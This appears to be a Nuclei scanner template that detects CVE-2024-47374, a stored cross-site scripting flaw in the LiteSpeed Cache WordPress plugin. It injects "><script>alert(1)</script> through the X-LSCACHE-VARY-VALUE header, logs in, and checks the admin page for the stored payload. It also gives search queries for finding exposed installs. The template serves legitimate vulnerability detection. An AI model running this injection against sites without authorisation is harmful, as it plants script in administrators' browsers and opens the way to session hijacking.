LiteSpeed Cache <= 6.5.0.2 - Stored XSS

id: CVE-2024-47374

info:
  name: LiteSpeed Cache <= 6.5.0.2 - Stored XSS
  author: Sourabh-Sahu
  severity: high
  description: |
    LiteSpeed Technologies LiteSpeed Cache versions up to 6.5.0.2 contain a stored cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in victim browsers, exploit requires storing malicious input.
  impact: |
    Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to the latest version of LiteSpeed Cache.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/litespeed-cache/litespeed-cache-61-unauthenticated-stored-cross-site-scripting
    - https://patchstack.com/database/vulnerability/litespeed-cache/wordpress-litespeed-cache-plugin-6-5-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-47374
    cwe-id: CWE-79
    epss-score: 0.01396
    epss-percentile: 0.71999
    cpe: cpe:2.3:a:litespeedtech:litespeed_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 5
    fofa-query: body=/wp-content/plugins/litespeed-cache/
    google-query: inurl:"/wp-content/plugins/litespeed-cache/"
    shodan-query: http.html:"/wp-content/plugins/litespeed-cache/"
  tags: cve,cve2024,wordpress,wp-plugin,xss,stored,litespeed,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /wp-content/plugins/litespeed-cache/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 6.5.0.2')"
          - "contains(body, 'LiteSpeed Cache')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-LSCACHE-VARY-VALUE: "><script>alert(1)</script>

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - "contains_all(header, 'X-Litespeed-Tag', '2d2_HTTP.200')"
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "loginform")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=litespeed-page_optm HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(1)</script>","litespeed")
        condition: and
# digest: 4b0a00483046022100b3455c86d0f440403860c1bfc456d0ec1a7ccbba71822afd494d149d375d96f1022100ad1666169a9257fe973c7a293e463521788b6d81167ef63fadc5e39b12137659:922c64590222798bb761d5b6d8e72950